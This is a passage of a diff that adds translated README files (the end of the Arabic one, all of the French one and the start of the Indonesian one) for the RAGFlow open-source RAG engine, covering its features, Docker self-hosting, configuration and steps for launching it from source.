+   أضف السطر التالي إلى `/etc/hosts` لحل كافة المضيفين المحددين في **docker/.env** إلى `127.0.0.1`:
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis sandbox-executor-manager
+   ```
+4. إذا لم تتمكن من الوصول إلى HuggingFace، فقم بتعيين متغير البيئة `HF_ENDPOINT` لاستخدام موقع مرآة:
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+5. إذا كان نظام التشغيل لديك لا يحتوي على jemalloc، فيرجى تثبيته على النحو التالي:
+
+   ```bash
+   # Ubuntu
+   sudo apt-get install libjemalloc-dev
+   # CentOS
+   sudo yum install jemalloc
+   # OpenSUSE
+   sudo zypper install jemalloc
+   # macOS
+   sudo brew install jemalloc
+   ```
+6. إطلاق الخدمة الخلفية:
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+7. تثبيت تبعيات الواجهة الأمامية:
+
+   ```bash
+   cd web
+   npm install
+   ```
+8. إطلاق خدمة الواجهة الأمامية:
+
+   ```bash
+   npm run dev
+   ```
+
+   _النتيجة التالية تؤكد الإطلاق الناجح للنظام:_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+9. أوقف خدمة الواجهة الأمامية والخلفية RAGFlow بعد اكتمال التطوير:
+
+   ```bash
+   pkill -f "ragflow_server.py|task_executor.py"
+   ```
+
+## 📚 التوثيق
+
+- [البدء السريع](https://ragflow.io/docs/dev/)
+- [التكوين](https://ragflow.io/docs/dev/configurations)
+- [ملاحظات الإصدار](https://ragflow.io/docs/dev/release_notes)
+- [أدلة المستخدم](https://ragflow.io/docs/category/user-guides)
+- [أدلة المطورين](https://ragflow.io/docs/category/developer-guides)
+- [المراجع](https://ragflow.io/docs/dev/category/references)
+- [الأسئلة الشائعة](https://ragflow.io/docs/dev/faq)
+
+## 📜 Roadmap
+
+راجع [RAGFlow Roadmap 2026](https://github.com/infiniflow/ragflow/issues/12241)
+
+## 🏄 المجتمع
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [X](https://x.com/infiniflowai)
+- [مناقشات جيثب](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 المساهمة
+
+RAGFlow يزدهر من خلال التعاون مفتوح المصدر. وبهذه الروح، فإننا نحتضن المساهمات المتنوعة من المجتمع.
+إذا كنت ترغب في أن تكون جزءًا، فراجع [إرشادات المساهمة](https://ragflow.io/docs/dev/contributing) أولاً.

README_fr.md

@@ -0,0 +1,406 @@
+<div align="center">
+<a href="https://cloud.ragflow.io/">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow/main/web/src/assets/logo-with-text.svg" width="520" alt="ragflow logo">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體版中文自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_fr.md"><img alt="README en Français" src="https://img.shields.io/badge/Français-DBEDFA"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DFE0E5"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
+  <a href="./README_ar.md"><img alt="README in Arabic" src="https://img.shields.io/badge/Arabic-DFE0E5"></a>
+  <a href="./README_tr.md"><img alt="Türkçe README" src="https://img.shields.io/badge/Türkçe-DFE0E5"></a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="suivre sur X(Twitter)">
+    </a>
+    <a href="https://cloud.ragflow.io" target="_blank">
+        <img alt="Badge statique" src="https://img.shields.io/badge/Get-Started-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/infiniflow/ragflow-stats/main/badges/docker-pulls.json&style=flat-square&logo=docker&logoColor=white" alt="docker pull infiniflow/ragflow:v0.26.4">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Derniere%20version" alt="Dernière version">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/License-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="licence">
+    </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://cloud.ragflow.io">Cloud</a> |
+  <a href="https://ragflow.io/docs/dev/">Documentation</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/12241">Roadmap</a> |
+  <a href="https://discord.gg/NjYzJD3GM3">Discord</a>
+</h4>
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/ragflow-octoverse.png" width="1200"/>
+</div>
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+<details open>
+<summary><b>📕 Table des matières</b></summary>
+
+- 💡 [Qu'est-ce que RAGFlow?](#-quest-ce-que-ragflow)
+- 🎮 [Démarrage](#-démarrage)
+- 📌 [Dernières mises à jour](#-dernières-mises-à-jour)
+- 🌟 [Fonctionnalités clés](#-fonctionnalités-clés)
+- 🔎 [Architecture du système](#-architecture-du-système)
+- 🎬 [Auto-hébergement](#-auto-hébergement)
+- 🔧 [Configurations](#-configurations)
+- 🔧 [Construire une image Docker](#-construire-une-image-docker)
+- 🔨 [Lancer le service depuis les sources pour le développement](#-lancer-le-service-depuis-les-sources-pour-le-développement)
+- 📚 [Documentation](#-documentation)
+- 📜 [Roadmap](#-feuille-de-route)
+- 🏄 [Communauté](#-communauté)
+- 🙌 [Contribuer](#-contribuer)
+
+</details>
+
+## 💡 Qu'est-ce que RAGFlow?
+
+[RAGFlow](https://ragflow.io/) est un moteur de [RAG](https://ragflow.io/basics/what-is-rag) (Retrieval-Augmented Generation) open-source de premier plan qui fusionne les technologies RAG de pointe avec des capacités Agent pour créer une couche de contexte supérieure pour les LLM. Il offre un flux de travail RAG rationalisé, adaptable aux entreprises de toute taille. Alimenté par un [moteur de contexte](https://ragflow.io/basics/what-is-agent-context-engine) convergent et des modèles d'agents préconstruits, RAGFlow permet aux développeurs de transformer des données complexes en systèmes d'IA haute-fidélité, prêts pour la production, avec une efficacité et une précision exceptionnelles.
+
+## 🎮 Démarrage
+
+Essayez notre service cloud sur [https://cloud.ragflow.io](https://cloud.ragflow.io).
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
+</div>
+
+## 🔥 Dernières mises à jour
+
+- 15-06-2026 Prise en charge de plusieurs canaux de discussion tels que Feishu, Discord, Telegram, Line, etc.
+- 24-04-2026 Prise en charge de DeepSeek v4.
+- 24-03-2026 [RAGFlow Skill on OpenClaw](https://clawhub.ai/yingfeng/ragflow-skill) — Fournit un skill officiel pour accéder aux datasets RAGFlow via OpenClaw.
+- 26-12-2025 Prise en charge de la « Mémoire » pour l'agent IA.
+- 19-11-2025 Prise en charge de Gemini 3 Pro.
+- 12-11-2025 Prise en charge de la synchronisation de données depuis Confluence, S3, Notion, Discord et Google Drive.
+- 23-10-2025 Prise en charge de MinerU & Docling comme méthodes d'analyse de documents.
+- 15-10-2025 Prise en charge du pipeline d'ingestion orchestrable.
+- 08-08-2025 Prise en charge des derniers modèles de la série GPT-5 d'OpenAI.
+- 01-08-2025 Prise en charge du flux de travail agentique et de MCP.
+- 23-05-2025 Ajout d'un composant exécuteur de code Python/JavaScript à l'Agent.
+- 19-03-2025 Prise en charge de l'utilisation d'un modèle multi-modal pour analyser les images dans les fichiers PDF ou DOCX.
+
+## 🎉 Restez informé
+
+⭐️ Mettez une étoile à notre dépôt pour rester informé des nouvelles fonctionnalités et améliorations passionnantes ! Recevez des notifications instantanées pour les nouvelles versions ! 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 Fonctionnalités clés
+
+### 🍭 **"Quality in, quality out"**
+
+- Extraction de connaissances basée sur la [compréhension approfondie des documents](./deepdoc/README.md) à partir de données non structurées aux formats complexes.
+- Trouve "l'aiguille dans la meule de données" de tokens littéralement illimités.
+
+### 🍱 **Découpage(Chunking) basé sur des templates**
+
+- Intelligent et explicable.
+- De nombreuses options de templates disponibles.
+
+### 🌱 **Citations fondées avec réduction des hallucinations**
+
+- Visualisation du découpage de texte pour permettre une intervention humaine.
+- Aperçu rapide des références clés et citations traçables pour soutenir des réponses fondées.
+
+### 🍔 **Compatibilité avec des sources de données hétérogènes**
+
+- Prend en charge Word, présentations, Excel, txt, images, copies numérisées, données structurées, pages web, et plus encore.
+
+### 🛀 **Flux de travail RAG automatisé et sans effort**
+
+- Orchestration RAG rationalisée adaptée aux particuliers comme aux grandes entreprises.
+- LLM et modèles d'embedding configurables.
+- Rappel multiple associé à un ré-classement fusionné.
+- APIs intuitives pour une intégration transparente avec les entreprises.
+
+## 🔎 Architecture du système
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/31b0dd6f-ca4f-445a-9457-70cb44a381b2" width="1000"/>
+</div>
+
+## 🎬 Auto-hébergement
+
+### 📝 Prérequis
+
+- CPU >= 4 cœurs
+- RAM >= 16 Go
+- Disque >= 50 Go
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- Python >= 3.13
+- [gVisor](https://gvisor.dev/docs/user_guide/install/) : Requis uniquement si vous souhaitez utiliser la fonctionnalité d'exécuteur de code (sandbox) de RAGFlow.
+
+> [!TIP]
+> Si vous n'avez pas installé Docker sur votre machine locale (Windows, Mac ou Linux), consultez [Installer Docker Engine](https://docs.docker.com/engine/install/).
+
+### 🚀 Démarrer le serveur
+
+1. Assurez-vous que `vm.max_map_count` >= 262144 :
+
+   > Pour vérifier la valeur de `vm.max_map_count` :
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > Réinitialisez `vm.max_map_count` à une valeur d'au moins 262144 si ce n'est pas le cas.
+   >
+   > ```bash
+   > # Dans ce cas, nous le définissons à 262144 :
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > Ce changement sera réinitialisé après un redémarrage du système. Pour que votre modification reste permanente, ajoutez ou mettez à jour la valeur `vm.max_map_count` dans **/etc/sysctl.conf** :
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+   >
+2. Clonez le dépôt :
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+3. Démarrez le serveur en utilisant les images Docker préconstruites :
+
+> [!CAUTION]
+> Toutes les images Docker sont construites pour les plateformes x86. Nous ne proposons pas actuellement d'images Docker pour ARM64.
+> Si vous êtes sur une plateforme ARM64, suivez [ce guide](https://ragflow.io/docs/dev/build_docker_image) pour construire une image Docker compatible avec votre système.
+
+> La commande ci-dessous télécharge l'édition `v0.26.4` de l'image Docker RAGFlow. Consultez le tableau suivant pour les descriptions des différentes éditions de RAGFlow. Pour télécharger une édition de RAGFlow différente de `v0.26.4`, mettez à jour la variable `RAGFLOW_IMAGE` dans **docker/.env** avant d'utiliser `docker compose` pour démarrer le serveur.
+
+```bash
+   $ cd ragflow/docker
+
+   git checkout v0.26.4
+   # Optionnel : utiliser un tag stable (voir les versions : https://github.com/infiniflow/ragflow/releases)
+   # Cette étape garantit que le fichier **entrypoint.sh** dans le code correspond à la version de l'image Docker.
+
+   # Use CPU for DeepDoc tasks:
+   $ docker compose -f docker-compose.yml up -d
+
+   # To use GPU to accelerate DeepDoc tasks:
+   # sed -i '1i DEVICE=gpu' .env
+   # docker compose -f docker-compose.yml up -d
+```
+
+> Remarque : Avant `v0.22.0`, nous fournissions à la fois des images avec des modèles d'embedding et des images slim sans modèles d'embedding. Détails ci-dessous :
+
+| RAGFlow image tag | Image size (GB) | Has embedding models? | Stable?        |
+|-------------------|-----------------|-----------------------|----------------|
+| v0.21.1           | &approx;9       | ✔️                    | Stable release |
+| v0.21.1-slim      | &approx;2       | ❌                     | Stable release |
+
+> À partir de `v0.22.0`, nous ne distribuons que l'édition slim et ne rajoutons plus le suffixe **-slim** au tag d'image.
+
+4. Vérifiez l'état du serveur après son démarrage :
+
+   ```bash
+   $ docker logs -f docker-ragflow-cpu-1
+   ```
+
+   _La sortie suivante confirme un lancement réussi du système :_
+
+   ```bash
+
+         ____   ___    ______ ______ __
+        / __ \ /   |  / ____// ____// /____  _      __
+       / /_/ // /| | / / __ / /_   / // __ \| | /| / /
+      / _, _// ___ |/ /_/ // __/  / // /_/ /| |/ |/ /
+     /_/ |_|/_/  |_|\____//_/    /_/ \____/ |__/|__/
+
+    * Running on all addresses (0.0.0.0)
+   ```
+
+   > Si vous sautez cette étape de confirmation et vous connectez directement à RAGFlow, votre navigateur peut afficher une erreur `network abnormal`, car à ce moment-là, votre RAGFlow peut ne pas être entièrement initialisé.
+   >
+5. Dans votre navigateur web, entrez l'adresse IP de votre serveur et connectez-vous à RAGFlow.
+
+   > Avec les paramètres par défaut, il vous suffit d'entrer `http://IP_OF_YOUR_MACHINE` (**sans** numéro de port), car le port HTTP par défaut `80` peut être omis lors de l'utilisation des configurations par défaut.
+   >
+6. Dans [service_conf.yaml.template](./docker/service_conf.yaml.template), sélectionnez la fabrique LLM souhaitée dans `user_default_llm` et mettez à jour le champ `API_KEY` avec la clé API correspondante.
+
+   > Voir [llm_api_key_setup](https://ragflow.io/docs/dev/llm_api_key_setup) pour plus d'informations.
+   >
+
+   _Le spectacle commence !_
+
+## 🔧 Configurations
+
+En ce qui concerne les configurations système, vous devrez gérer les fichiers suivants :
+
+- [.env](./docker/.env) : Conserve les paramètres de base du système, tels que `SVR_HTTP_PORT`, `MYSQL_PASSWORD` et `MINIO_PASSWORD`.
+- [service_conf.yaml.template](./docker/service_conf.yaml.template) : Configure les services back-end. Les variables d'environnement dans ce fichier seront automatiquement renseignées au démarrage du conteneur Docker. Toutes les variables d'environnement définies dans le conteneur Docker seront disponibles, vous permettant de personnaliser le comportement du service en fonction de l'environnement de déploiement.
+- [docker-compose.yml](./docker/docker-compose.yml) : Le système s'appuie sur [docker-compose.yml](./docker/docker-compose.yml) pour démarrer.
+
+> Le fichier [./docker/README](./docker/README.md) fournit une description détaillée des paramètres d'environnement et des configurations de services qui peuvent être utilisés comme `${ENV_VARS}` dans le fichier [service_conf.yaml.template](./docker/service_conf.yaml.template).
+
+Pour mettre à jour le port HTTP de service par défaut (80), accédez à [docker-compose.yml](./docker/docker-compose.yml) et changez `80:80` en `<YOUR_SERVING_PORT>:80`.
+
+Les mises à jour des configurations ci-dessus nécessitent un redémarrage de tous les conteneurs pour prendre effet :
+
+> ```bash
+> $ docker compose -f docker-compose.yml up -d
+> ```
+
+### Passer du moteur de documents Elasticsearch à Infinity
+
+RAGFlow utilise Elasticsearch par défaut pour stocker le texte intégral et les vecteurs. Pour passer à [Infinity](https://github.com/infiniflow/infinity/), suivez ces étapes :
+
+1. Arrêtez tous les conteneurs en cours d'exécution :
+
+   ```bash
+   $ docker compose -f docker/docker-compose.yml down -v
+   ```
+
+> [!WARNING]
+> `-v` supprimera les volumes des conteneurs Docker, et les données existantes seront effacées.
+
+2. Définissez `DOC_ENGINE` dans **docker/.env** sur `infinity`.
+3. Démarrez les conteneurs :
+
+   ```bash
+   $ docker compose -f docker-compose.yml up -d
+   ```
+
+> [!WARNING]
+> Le passage à Infinity sur une machine Linux/arm64 n'est pas encore officiellement pris en charge.
+
+## 🔧 Construire une image Docker
+
+Cette image fait environ 2 Go et dépend de services LLM et d'embedding externes.
+
+```bash
+git clone https://github.com/infiniflow/ragflow.git
+cd ragflow/
+docker build --platform linux/amd64 -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+Ou si vous êtes derrière un proxy, vous pouvez passer des arguments de proxy :
+
+```bash
+docker build --platform linux/amd64 \
+  --build-arg http_proxy=http://YOUR_PROXY:PORT \
+  --build-arg https_proxy=http://YOUR_PROXY:PORT \
+  -f Dockerfile -t infiniflow/ragflow:nightly .
+```
+
+## 🔨 Lancer le service depuis les sources pour le développement
+
+1. Installez `uv`, ou ignorez cette étape s'il est déjà installé :
+
+   ```bash
+   pipx install uv
+   ```
+2. Clonez le code source et installez les dépendances Python :
+
+   ```bash
+   git clone https://github.com/infiniflow/ragflow.git
+   cd ragflow/
+   uv sync --python 3.13 # install RAGFlow dependent python modules
+   uv run python3 ragflow_deps/download_deps.py
+   lefthook install
+   ```
+3. Lancez les services dépendants (MinIO, Elasticsearch, Redis et MySQL) avec Docker Compose :
+
+   ```bash
+   docker compose -f docker/docker-compose-base.yml up -d
+   ```
+
+   Ajoutez la ligne suivante à `/etc/hosts` pour résoudre tous les hôtes spécifiés dans **docker/.env** vers `127.0.0.1` :
+
+   ```
+   127.0.0.1       es01 infinity mysql minio redis sandbox-executor-manager
+   ```
+4. Si vous ne pouvez pas accéder à HuggingFace, définissez la variable d'environnement `HF_ENDPOINT` pour utiliser un site miroir :
+
+   ```bash
+   export HF_ENDPOINT=https://hf-mirror.com
+   ```
+5. Si votre système d'exploitation n'a pas jemalloc, installez-le comme suit :
+
+   ```bash
+   # Ubuntu
+   sudo apt-get install libjemalloc-dev
+   # CentOS
+   sudo yum install jemalloc
+   # OpenSUSE
+   sudo zypper install jemalloc
+   # macOS
+   sudo brew install jemalloc
+   ```
+6. Lancez le service back-end :
+
+   ```bash
+   source .venv/bin/activate
+   export PYTHONPATH=$(pwd)
+   bash docker/launch_backend_service.sh
+   ```
+7. Installez les dépendances front-end :
+
+   ```bash
+   cd web
+   npm install
+   ```
+8. Lancez le service front-end :
+
+   ```bash
+   npm run dev
+   ```
+
+   _La sortie suivante confirme un lancement réussi du système :_
+
+   ![](https://github.com/user-attachments/assets/0daf462c-a24d-4496-a66f-92533534e187)
+9. Arrêtez les services front-end et back-end de RAGFlow une fois le développement terminé :
+
+   ```bash
+   pkill -f "ragflow_server.py|task_executor.py"
+   ```
+
+## 📚 Documentation
+
+- [Quickstart](https://ragflow.io/docs/dev/)
+- [Configuration](https://ragflow.io/docs/dev/configurations)
+- [Release notes](https://ragflow.io/docs/dev/release_notes)
+- [User guides](https://ragflow.io/docs/category/user-guides)
+- [Developer guides](https://ragflow.io/docs/category/developer-guides)
+- [References](https://ragflow.io/docs/dev/category/references)
+- [FAQs](https://ragflow.io/docs/dev/faq)
+
+## 📜 Roadmap
+
+Voir la [Feuille de route RAGFlow 2026](https://github.com/infiniflow/ragflow/issues/12241)
+
+## 🏄 Communauté
+
+- [Discord](https://discord.gg/NjYzJD3GM3)
+- [X](https://x.com/infiniflowai)
+- [GitHub Discussions](https://github.com/orgs/infiniflow/discussions)
+
+## 🙌 Contribuer
+
+RAGFlow s'épanouit grâce à la collaboration open-source. Dans cet esprit, nous accueillons des contributions diverses de la communauté.
+Si vous souhaitez en faire partie, consultez d'abord nos [Directives de contribution](https://ragflow.io/docs/dev/contributing).

README_id.md

@@ -0,0 +1,385 @@
+<div align="center">
+<a href="https://cloud.ragflow.io/">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow/main/web/src/assets/logo-with-text.svg" width="520" alt="Logo ragflow">
+</a>
+</div>
+
+<p align="center">
+  <a href="./README.md"><img alt="README in English" src="https://img.shields.io/badge/English-DFE0E5"></a>
+  <a href="./README_zh.md"><img alt="简体中文版自述文件" src="https://img.shields.io/badge/简体中文-DFE0E5"></a>
+  <a href="./README_tzh.md"><img alt="繁體中文版自述文件" src="https://img.shields.io/badge/繁體中文-DFE0E5"></a>
+  <a href="./README_ja.md"><img alt="日本語のREADME" src="https://img.shields.io/badge/日本語-DFE0E5"></a>
+  <a href="./README_ko.md"><img alt="한국어" src="https://img.shields.io/badge/한국어-DFE0E5"></a>
+  <a href="./README_fr.md"><img alt="README en Français" src="https://img.shields.io/badge/Français-DFE0E5"></a>
+  <a href="./README_id.md"><img alt="Bahasa Indonesia" src="https://img.shields.io/badge/Bahasa Indonesia-DBEDFA"></a>
+  <a href="./README_pt_br.md"><img alt="Português(Brasil)" src="https://img.shields.io/badge/Português(Brasil)-DFE0E5"></a>
+  <a href="./README_ar.md"><img alt="README in Arabic" src="https://img.shields.io/badge/Arabic-DFE0E5"></a>
+  <a href="./README_tr.md"><img alt="Türkçe README" src="https://img.shields.io/badge/Türkçe-DFE0E5"></a>
+</p>
+
+<p align="center">
+    <a href="https://x.com/intent/follow?screen_name=infiniflowai" target="_blank">
+        <img src="https://img.shields.io/twitter/follow/infiniflow?logo=X&color=%20%23f5f5f5" alt="Ikuti di X (Twitter)">
+    </a>
+    <a href="https://cloud.ragflow.io" target="_blank">
+        <img alt="Lencana Daring" src="https://img.shields.io/badge/Get-Started-4e6b99">
+    </a>
+    <a href="https://hub.docker.com/r/infiniflow/ragflow" target="_blank">
+        <img src="https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/infiniflow/ragflow-stats/main/badges/docker-pulls.json&style=flat-square&logo=docker&logoColor=white" alt="docker pull infiniflow/ragflow:v0.26.4">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/releases/latest">
+        <img src="https://img.shields.io/github/v/release/infiniflow/ragflow?color=blue&label=Rilis%20Terbaru" alt="Rilis Terbaru">
+    </a>
+    <a href="https://github.com/infiniflow/ragflow/blob/main/LICENSE">
+        <img height="21" src="https://img.shields.io/badge/Lisensi-Apache--2.0-ffffff?labelColor=d4eaf7&color=2e6cc4" alt="Lisensi">
+    </a>
+    <a href="https://deepwiki.com/infiniflow/ragflow">
+        <img alt="Ask DeepWiki" src="https://deepwiki.com/badge.svg">
+    </a>
+</p>
+
+<h4 align="center">
+  <a href="https://cloud.ragflow.io">Cloud</a> |
+  <a href="https://ragflow.io/docs/dev/">Dokumentasi</a> |
+  <a href="https://github.com/infiniflow/ragflow/issues/12241">Peta Jalan</a> |
+  <a href="https://discord.gg/NjYzJD3GM3">Discord</a>
+</h4>
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/ragflow-octoverse.png" width="1200"/>
+</div>
+
+<div align="center">
+<a href="https://trendshift.io/repositories/9064" target="_blank"><img src="https://trendshift.io/api/badge/repositories/9064" alt="infiniflow%2Fragflow | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/></a>
+</div>
+
+<details open>
+<summary><b>📕 Daftar Isi </b> </summary>
+
+- 💡 [Apa Itu RAGFlow?](#-apa-itu-ragflow)
+- 🎮 [Mulai](#-mulai)
+- 📌 [Pembaruan Terbaru](#-pembaruan-terbaru)
+- 🌟 [Fitur Utama](#-fitur-utama)
+- 🔎 [Arsitektur Sistem](#-arsitektur-sistem)
+- 🎬 [Pengelolaan Mandiri](#-pengelolaan-mandiri)
+- 🔧 [Konfigurasi](#-konfigurasi)
+- 🔧 [Membangun Image Docker](#-membangun-docker-image)
+- 🔨 [Meluncurkan aplikasi dari Sumber untuk Pengembangan](#-meluncurkan-aplikasi-dari-sumber-untuk-pengembangan)
+- 📚 [Dokumentasi](#-dokumentasi)
+- 📜 [Peta Jalan](#-peta-jalan)
+- 🏄 [Komunitas](#-komunitas)
+- 🙌 [Kontribusi](#-kontribusi)
+
+</details>
+
+## 💡 Apa Itu RAGFlow?
+
+[RAGFlow](https://ragflow.io/) adalah mesin [RAG](https://ragflow.io/basics/what-is-rag) (Retrieval-Augmented Generation) open-source terkemuka yang mengintegrasikan teknologi RAG mutakhir dengan kemampuan Agent untuk menciptakan lapisan kontekstual superior bagi LLM. Menyediakan alur kerja RAG yang efisien dan dapat diadaptasi untuk perusahaan segala skala. Didukung oleh mesin konteks terkonvergensi dan template Agent yang telah dipra-bangun, RAGFlow memungkinkan pengembang mengubah data kompleks menjadi sistem AI kesetiaan-tinggi dan siap-produksi dengan efisiensi dan presisi yang luar biasa.
+
+## 🎮 Mulai
+
+Coba layanan cloud kami di [https://cloud.ragflow.io](https://cloud.ragflow.io).
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/chunking.gif" width="1200"/>
+<img src="https://raw.githubusercontent.com/infiniflow/ragflow-docs/refs/heads/image/image/agentic-dark.gif" width="1200"/>
+</div>
+
+## 🔥 Pembaruan Terbaru
+
+- 2026-06-15 Mendukung berbagai saluran obrolan seperti Feishu, Discord, Telegram, Line, dll.
+- 2026-04-24 Mendukung DeepSeek v4.
+- 2026-03-24 [RAGFlow Skill on OpenClaw](https://clawhub.ai/yingfeng/ragflow-skill) — Menyediakan skill resmi untuk mengakses dataset RAGFlow melalui OpenClaw.
+- 2025-12-26 Mendukung 'Memori' untuk agen AI.
+- 2025-11-19 Mendukung Gemini 3 Pro.
+- 2025-11-12 Mendukung sinkronisasi data dari Confluence, S3, Notion, Discord, Google Drive.
+- 2025-10-23 Mendukung MinerU & Docling sebagai metode penguraian dokumen.
+- 2025-10-15 Dukungan untuk jalur data yang terorkestrasi.
+- 2025-08-08 Mendukung model seri GPT-5 terbaru dari OpenAI.
+- 2025-08-01 Mendukung alur kerja agen dan MCP.
+- 2025-05-23 Menambahkan komponen pelaksana kode Python/JS ke Agen.
+- 2025-03-19 Mendukung penggunaan model multi-modal untuk memahami gambar di dalam file PDF atau DOCX.
+
+## 🎉 Tetap Terkini
+
+⭐️ Star repositori kami untuk tetap mendapat informasi tentang fitur baru dan peningkatan menarik! 🌟
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/18c9707e-b8aa-4caf-a154-037089c105ba" width="1200"/>
+</div>
+
+## 🌟 Fitur Utama
+
+### 🍭 **"Kualitas Masuk, Kualitas Keluar"**
+
+- Ekstraksi pengetahuan berbasis pemahaman dokumen mendalam dari data tidak terstruktur dengan format yang rumit.
+- Menemukan "jarum di tumpukan data" dengan token yang hampir tidak terbatas.
+
+### 🍱 **Pemotongan Berbasis Template**
+
+- Cerdas dan dapat dijelaskan.
+- Banyak pilihan template yang tersedia.
+
+### 🌱 **Referensi yang Didasarkan pada Data untuk Mengurangi Hallusinasi**
+
+- Visualisasi pemotongan teks memungkinkan intervensi manusia.
+- Tampilan cepat referensi kunci dan referensi yang dapat dilacak untuk mendukung jawaban yang didasarkan pada fakta.
+
+### 🍔 **Kompatibilitas dengan Sumber Data Heterogen**
+
+- Mendukung Word, slide, excel, txt, gambar, salinan hasil scan, data terstruktur, halaman web, dan banyak lagi.
+
+### 🛀 **Alur Kerja RAG yang Otomatis dan Mudah**
+
+- Orkestrasi RAG yang ramping untuk bisnis kecil dan besar.
+- LLM yang dapat dikonfigurasi serta model embedding.
+- Peringkat ulang berpasangan dengan beberapa pengambilan ulang.
+- API intuitif untuk integrasi yang mudah dengan bisnis.
+
+## 🔎 Arsitektur Sistem
+
+<div align="center" style="margin-top:20px;margin-bottom:20px;">
+<img src="https://github.com/user-attachments/assets/31b0dd6f-ca4f-445a-9457-70cb44a381b2" width="1000"/>
+</div>
+
+## 🎬 Pengelolaan Mandiri
+
+### 📝 Prasyarat
+
+- CPU >= 4 inti
+- RAM >= 16 GB
+- Disk >= 50 GB
+- Docker >= 24.0.0 & Docker Compose >= v2.26.1
+- Python >= 3.13
+- [gVisor](https://gvisor.dev/docs/user_guide/install/): Hanya diperlukan jika Anda ingin menggunakan fitur eksekutor kode (sandbox) dari RAGFlow.
+
+> [!TIP]
+> Jika Anda belum menginstal Docker di komputer lokal Anda (Windows, Mac, atau Linux), lihat [Install Docker Engine](https://docs.docker.com/engine/install/).
+
+### 🚀 Menjalankan Server
+
+1. Pastikan `vm.max_map_count` >= 262144:
+
+   > Untuk memeriksa nilai `vm.max_map_count`:
+   >
+   > ```bash
+   > $ sysctl vm.max_map_count
+   > ```
+   >
+   > Jika nilainya kurang dari 262144, setel ulang `vm.max_map_count` ke setidaknya 262144:
+   >
+   > ```bash
+   > # Dalam contoh ini, kita atur menjadi 262144:
+   > $ sudo sysctl -w vm.max_map_count=262144
+   > ```
+   >
+   > Perubahan ini akan hilang setelah sistem direboot. Untuk membuat perubahan ini permanen, tambahkan atau perbarui nilai
+   > `vm.max_map_count` di **/etc/sysctl.conf**:
+   >
+   > ```bash
+   > vm.max_map_count=262144
+   > ```
+   >
+2. Clone repositori:
+
+   ```bash
+   $ git clone https://github.com/infiniflow/ragflow.git
+   ```
+3. Bangun image Docker pre-built dan jalankan server:
+
+> [!CAUTION]
